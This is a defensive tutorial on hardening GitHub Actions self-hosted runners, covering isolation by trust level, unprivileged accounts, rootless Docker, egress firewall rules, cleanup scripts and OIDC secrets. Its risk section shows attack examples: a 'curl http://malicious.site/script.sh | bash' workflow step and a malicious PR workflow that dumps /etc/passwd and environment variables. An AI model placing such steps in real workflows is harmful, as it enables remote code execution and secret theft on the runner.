Skip to content
Français
CI/CD & Automatisation medium

Securing self-hosted runners

40 min de lecture

Read this page in French

Self-hosted runners offer flexibility but introduce security risks you have to manage yourself. This guide covers the essential hardening measures, from the system account to the cleanup between jobs.

What you will learn

  • Identify the risks specific to self-hosted runners
  • Isolate the runs by level of trust and by container
  • Restrict the permissions of the account, of Docker and of the network
  • Clean the environment between every job
  • Protect the secrets and monitor the runners

The risks of self-hosted runners

A GitHub-hosted runner is a disposable machine: GitHub creates it for a job, then destroys it. A self-hosted runner is a machine you own, connected to your network, and it survives the jobs. The three risks below all follow from that difference, and they are what the measures in this guide neutralise.

Execution of untrusted code

Any workflow can run arbitrary code on the runner: a run: block is nothing more than a shell script launched with the rights of the runner's service account. Anyone able to modify a file in .github/workflows/, or to get a PR modifying it merged, therefore gains command execution on your machine.

- run: |
# This code runs with the runner's rights
curl http://malicious.site/script.sh | bash

Data persistence

Unlike GitHub-hosted runners, the environment persists between jobs: the disk, the package manager caches and the Docker images stay in place. A malicious job can therefore drop something to trap the next one, and a legitimate job can leak what it handled. Three residues come up systematically:

  • files left by a previous job in the working directory;
  • changes to the service account profile, .bashrc or a binary dropped into the PATH;
  • cached credentials, ~/.npmrc, ~/.docker/config.json, package manager tokens.

Network access

The runner has access to the network it sits on: it inherits everything its subnet allows, including services that require no authentication because they believe themselves safe behind the perimeter firewall. A runner placed on the production network becomes an entry point to everything there:

  • internal databases;
  • private APIs;
  • other services.

The golden rule: no public runners

On a public repository, anyone can open a PR from a fork, and therefore propose a workflow file. GitHub does require an approval for a first-time contributor, but that approval is given by a human who mostly reviews the application code. The workflow below shows what an attacker gets if the approval goes through.

Never do this

Never configure a self-hosted runner on a public repository. Anyone can submit a PR and execute code on your runner.

# An attacker can submit this PR on a public repository
name: Malicious PR
on: pull_request
jobs:
attack:
runs-on: self-hosted # Runs on YOUR infrastructure
steps:
- run: |
# Secret theft, crypto mining, and so on
cat /etc/passwd
env

Isolating the runners

Isolation is the first line of defence: limiting what a job can reach limits the damage of a compromised one. Three levels reinforce it.

1. Dedicated runners per level of trust

Routing happens through labels: a job only goes to a runner carrying all the labels it asks for. By reserving trusted runners for protected branches and sending PRs to untrusted runners with no internal network access and no production secrets, a hostile workflow runs on a machine with nothing worth stealing.

# Runners for trusted code (main, releases)
runs-on: [self-hosted, trusted]
# Runners for PRs (less trusted)
runs-on: [self-hosted, untrusted]

2. Running inside containers

The container: key runs every step of the job inside the given image, rather than directly on the host. The job then only sees the container filesystem, so it cannot leave residues on the host. The isolation remains that of a shared kernel: it does not withstand a privileged container nor a mounted Docker socket.

jobs:
build:
runs-on: self-hosted
container:
image: node:22-alpine@sha256:c610fcdfb1d5b4740dd70c284ed3cb16bb857e0f7166196e36a5501df7a3aa32
# Container isolation

3. Ephemeral virtual machines

Destroy the VM after every job: it is the only isolation that genuinely removes persistence, since the disk disappears with the machine. The runner registers in ephemeral mode and removes itself from the GitHub list at the end of the job; an orchestrator provisions a new one for the next. The price is a start-up time of a few tens of seconds per job.

runs-on: [self-hosted, ephemeral]
# The runner scaler destroys the VM after the run

Restricting the permissions

A compromised runner must not be able to do much. You restrict on three fronts: the system account, Docker and the network.

On the machine

The runner must never run as root nor under your administration account: every run: inherits its rights. A dedicated service account, with no password and absent from the sudoers, limits a compromised job to its own working directory. If a task genuinely needs a privileged command, grant it one at a time in /etc/sudoers.d/ rather than handing over full sudo.

Fenêtre de terminal
# Create a dedicated unprivileged user
sudo useradd -m -s /bin/bash github-runner
sudo usermod -L github-runner # No login
# Install the runner as that user
sudo -u github-runner ./config.sh ...
# No sudo for the runner
# Never add github-runner to the sudoers!

Docker without root

Adding the runner account to the docker group amounts to giving it root on the host: the daemon runs as root and a container can mount /. Rootless Docker removes that bypass by running the daemon under the runner account. Failing that, harden each container by dropping the capabilities and forbidding privilege escalation.

Fenêtre de terminal
# Use rootless Docker where possible
# Or restrict with --security-opt
docker run --security-opt=no-new-privileges \
--cap-drop=ALL \
--read-only \
...

A restricted network

A runner only needs to reach GitHub over HTTPS and the registries it pulls its dependencies from: it works outbound only, no inbound flow is required. Filtering the rest on egress cuts both secret exfiltration and lateral access to internal services. Test those rules before making them persistent, since an overly broad DROP also blocks the runner updates.

Fenêtre de terminal
# Firewall: limit the outbound connections
iptables -A OUTPUT -o eth0 -p tcp --dport 443 -j ACCEPT # GitHub
iptables -A OUTPUT -o eth0 -p tcp --dport 80 -j ACCEPT # HTTP
iptables -A OUTPUT -o eth0 -j DROP # Block the rest

Cleaning between jobs

On a persistent runner, what one job leaves behind stays available to the next. A systematic cleanup prevents leaks between jobs.

A cleanup script

The _work directory, the npm cache and the Docker images are the three places a job leaves the most usable traces. This script empties them systematically, without trying to tell apart what is legitimate: an unconditional cleanup is the only one that stays reliable over time.

#!/bin/bash
# cleanup.sh - run after every job
# Remove the temporary files
rm -rf /tmp/* /var/tmp/*
# Clean the runner home
rm -rf /home/github-runner/.npm
rm -rf /home/github-runner/.cache
rm -rf /home/github-runner/work/*
# Clean Docker
docker system prune -af
docker volume prune -f

This script does not touch the environment variables, and that is deliberate: they do not survive a job. Every job runs in a new process, and anything defined through $GITHUB_ENV disappears with it. A cleanup script doing an unset would apply it to its own process, then exit having changed nothing for the next job.

Real persistence goes through the filesystem: a job can write into the service account's .bashrc, drop a binary into a PATH directory, or leave a Git hook in a cloned repository. That is what needs cleaning, and that is what the script above does.

Configuring automatic cleanup

A cleanup triggered from the workflow does not run when the job is cancelled or the runner restarts: attaching it to the systemd service makes it independent of workflow content. ExecStartPre cleans before picking work back up, ExecStopPost after stopping.

Fenêtre de terminal
# In the runner's systemd service
[Service]
ExecStartPre=/opt/actions-runner/cleanup.sh
ExecStopPost=/opt/actions-runner/cleanup.sh

Protecting the secrets

Secrets must never live hardcoded on the runner. Here is how to route and handle them without exposing them.

Environment variables

A secret placed in the runner account's .bashrc becomes readable by every job, including those that do not need it. Passed through the env: block of a step, it only exists for the duration of that step and GitHub masks it in the logs.

# ❌ Do not put secrets in the runner's scripts
# ~/.bashrc holding AWS_SECRET_ACCESS_KEY is a bad idea
# ✅ Use the GitHub secrets
- name: Deploy
env:
AWS_ACCESS_KEY_ID: ${{ secrets.AWS_ACCESS_KEY_ID }}
AWS_SECRET_ACCESS_KEY: ${{ secrets.AWS_SECRET_ACCESS_KEY }}
run: aws s3 sync ./dist s3://bucket

System credentials

Credential files sitting on the machine, ~/.aws/credentials, ~/.kube/config or a service account, are reachable by any job and never rotate. OIDC replaces them with a token requested at job time, valid for minutes and tied to the calling repository.

Fenêtre de terminal
# Use short-lived tokens through OIDC
# No static credentials on the runner
# See /en/docs/pipeline-cicd/github/securite/oidc/

Sensitive files

When a tool requires a secret as a file, a tmpfs keeps it in RAM: nothing is written to disk, and the content disappears on reboot without leaving a recoverable block.

Fenêtre de terminal
# Mount the secrets on a read-only tmpfs
mkdir -p /run/secrets
mount -t tmpfs -o size=10M,mode=0700 tmpfs /run/secrets

Monitoring the runners

Hardening is not enough: you also have to detect a compromise. Audit logs and system monitoring make abnormal behaviour visible.

Audit logs

The ACTIONS_RUNNER_DEBUG variable makes the runner log the detail of every step, useful to reconstruct what a job did after the fact. Keep it for diagnosis: those logs are verbose and expose paths and variable names you do not want left lying around permanently.

# Enable the verbose logs
env:
ACTIONS_RUNNER_DEBUG: true

System monitoring

The runner logs say what the workflow asked for; the system audit says what actually ran on the machine. An auditd rule on execve records every command launched, which lets you spot a binary downloaded on the fly or an outbound connection matching no step.

Fenêtre de terminal
# Watch for suspicious processes
auditctl -a always,exit -F arch=b64 -S execve -k commands
# Alert on unusual outbound connections
# (with a tool such as Falco, osquery, and so on)

GitHub alerts

Configure webhooks to be alerted about runs on self-hosted runners. The workflow_job event carries the labels the job asked for: you can therefore detect a workflow targeting your runners when it should not, without waiting to open the Actions tab.

A security checklist

These three lists gather the measures of the guide by the moment they apply: at installation, in day-to-day operation, and when making architecture decisions. The initial configuration points are the ones that are expensive to fix once the runner is in production.

Initial configuration

These five points are settled before the first job. They form the minimum baseline: a runner not ticking all of them should not receive a workflow.

  • Runner on a private repository only
  • A dedicated user with no sudo privileges
  • A firewall configured as an allow list
  • Rootless Docker, or Docker with restrictions
  • Audit logs enabled

Regular operations

A runner degrades over time: the agent falls behind, registration tokens linger, new workflows arrive without anyone reviewing them. These four checks are scheduled, otherwise they never happen.

  • Runner and OS updates
  • Rotation of the registration tokens
  • A review of the workflows that ran
  • A check of the audit logs

Architecture

These four choices cannot be fixed with a setting: they determine the exposure of your fleet. This is the level where you decide a PR job will never touch the same machine as a release job.

  • Runners separated by level of trust
  • Ephemeral runners for PRs
  • No static secrets on the runners
  • OIDC for cloud authentication

A complete secure pattern

This workflow gathers the measures of the guide: a trusted runner, execution inside a hardened container, OIDC instead of static secrets, and an explicit cleanup.

name: Secure Build
on:
push:
branches: [main]
# No right by default: the job asks for the minimum
permissions: {}
jobs:
build:
runs-on: [self-hosted, linux, trusted]
permissions:
contents: read
id-token: write # For OIDC
container:
image: node:22-alpine@sha256:c610fcdfb1d5b4740dd70c284ed3cb16bb857e0f7166196e36a5501df7a3aa32
options: --read-only --security-opt=no-new-privileges
steps:
- uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
with:
persist-credentials: false
# OIDC instead of static secrets
- uses: aws-actions/configure-aws-credentials@e6de054238d6b7531b4efff3b6587d9aade6a06c # v6.2.3
with:
role-to-assume: arn:aws:iam::123456789:role/github-actions
aws-region: eu-west-1
- run: npm ci
- run: npm test
- run: npm run build
# Explicit cleanup
- name: Cleanup
if: always()
run: rm -rf node_modules .npm

Key points

  • A self-hosted runner never goes on a public repository: a fork PR would run arbitrary code at your place.
  • Isolate the runs: dedicated runners per level of trust, containers, ephemeral VMs.
  • The runner account carries no sudo; Docker runs rootless or with reduced capabilities.
  • Clean systematically between jobs, since the environment persists, unlike hosted runners.
  • No static secrets on the machine: prefer OIDC and short-lived tokens.

Next steps

  • Runner isolation: segmentation by labels, groups and network rules, the layer that comes after hardening the machine.
  • Runner maintenance: keeping the fleet updated and monitored over time, without which the hardening described here degrades on its own.
  • GitHub CLI (gh): inventorying the registered runners and their tokens from the terminal, to spot a forgotten machine.

Is this site useful to you?

Fewer than 1% of readers support this site.

I maintain more than 700 free guides, with no ads and no tracking. Any support, even a symbolic one, helps cover hosting and keeps these resources free. Thank you for the help.

The form does not show? Open Ko-fi in a new tab.

Subscribe and follow my DevSecOps work on LinkedIn